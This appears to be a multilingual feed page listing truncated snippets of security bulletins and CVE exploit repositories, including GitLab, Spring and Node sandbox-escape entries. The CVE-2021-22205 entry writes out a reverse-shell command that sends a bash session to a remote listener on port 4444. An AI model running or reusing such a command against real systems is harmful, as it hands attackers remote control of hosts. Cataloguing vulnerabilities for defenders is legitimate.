Security Bulletin: Multiple Security Vulnerabilities in Spring Framework Affect IBM Sterling B2B Integrator and IBM Sterling File Gateway

Summary IBM Sterling B2B Integrator and IBM Sterling File Gateway have addressed the security vulnerabilities in Spring Framework Vulnerability Details CVEID:CVE-2025-22233 DESCRIPTION: CVE-2024-38820 ensured Locale-independent, lowercase conversion for both the configured disallowedFields patter...

Security Bulletin: Security Vulnerability in Spring Security Affects IBM Sterling B2B Integrator and IBM Sterling File Gateway (CVE-2025-41248)

Summary IBM Sterling B2B Integrator and IBM Sterling File Gateway have addressed the security vulnerability in Spring Security Vulnerability Details CVEID:CVE-2025-41248 DESCRIPTION: The Spring Security annotation detection mechanism may not correctly resolve annotations on methods within type...

cve-2020-10977

CVE-2020-10977 GitLab 12.9.0 Lettura Arbitraria di File Target : 12.9.0 e versioni precedenti Testato : GitLab 12.8.1 In un recente engagement ho trovato un'istanza GitLab sul target; ho trovato un PoC su Exploit-DB, ma utilizza LDAP per l'autenticazione, che in questo caso era disabilitato, quin...

CVE-2024-38475

Questo repository non contiene un README...

codehaus-plexus__plexus-archiver_CVE-2023-37460_4-7-1

Plexus-archiver Il master attuale è ora su https://github.com/codehaus-plexus/plexus-archiver Suggerimento Importante Sulla base di un suggerimento del team di sicurezza di snyk.io, è stato individuato un possibile problema di sicurezza. Inoltre, hanno offerto una patch per prevenire il possibile...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Versione di test Costruzione del comando per generare lo sfruttamento root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Utilizzo di djvumake per generare l'immagine di sfruttamento...

CVE-2016-2555

CVE-2016-2555 CVE-2016-2555...

CVE-2015-6612

CVE-2015-6612 I dettagli della vulnerabilità si trovano in description.pdf. La mia triste storia su questo bug: Ho segnalato questo problema a ZDI lo scorso marzo; all'inizio hanno detto di non riuscire a riprodurlo nell'ultima versione di Android, dopo due settimane di comunicazione hanno deciso...

CVE-2026-59321

A single ScriptEngine instance is reused for every message on a script-backed channel. For JSR-223 engines that report THREADING=null not thread-safe, e.g. the Kotlin kts engine, concurrent message processing can corrupt engine-internal state, potentially leaking one message's payload/headers...

CVE-2019-0708

CVE-2019-0708...

CVE-2021-28378

CVE-2021-28378 Details zu dieser CVE hier. Diese CVE betrifft das Fehlen einer String-Escape-Funktion auf der Client-Seite, wenn Inhalte vom Server abgerufen werden. Sie ermöglicht es einem Angreifer, einfach beliebigen Code einzuschleusen, indem er einen Kommentar zu einem Issue oder einem Pull...

CVE-2022-37969

CVE-2022-37969...

CVE-2023-27524

CVE-2023-27524 CVE-2023-27524...

cve-2017-5638

cve-2017-5638...

CVE-2026-23918

CVE-2026-23918...

ROOT-APP-NPM-SNYK-JS-AXIOS-9403194 SNYK-JS-AXIOS-9403194 in axios - Patched by Root

Root has patched SNYK-JS-AXIOS-9403194 in the axios package for Root:npm. Multiple fixed versions available...

ralph

Ralph Un'implementazione funzionante della tecnica del loop autonomo di Ralph Wiggum per Claude Code. Contesto Il plugin ufficiale ralph-wiggum nel marketplace dei plugin di Anthropic è attualmente rotto a causa di un aggiornamento di sicurezza in Claude Code v1.0.20 Agosto 2025. La patch di...

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

RCE em Ambientes ESM — O Problema do require Ao alcançar a fuga da sandbox via CVE-2026-22686, executar comandos do SO em um projeto ESM "type": "module" exige contornar as restrições de carregamento de módulos do Node.js. As abordagens padrão falham pelos seguintes motivos:...

CVE-2021-28480

CVE-2021-28480...

CVE-2023-4863

CVE-2023-4863 root@kitploit: checkout webp git clone https://chromium.googlesource.com/webm/libwebp/ webptest cd webptest/ checkout vulnerable version git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0 enable AddressSanitizer sed -i 's/^EXTRAFLAGS=./& -fsanitize=address/' makefile.unix build...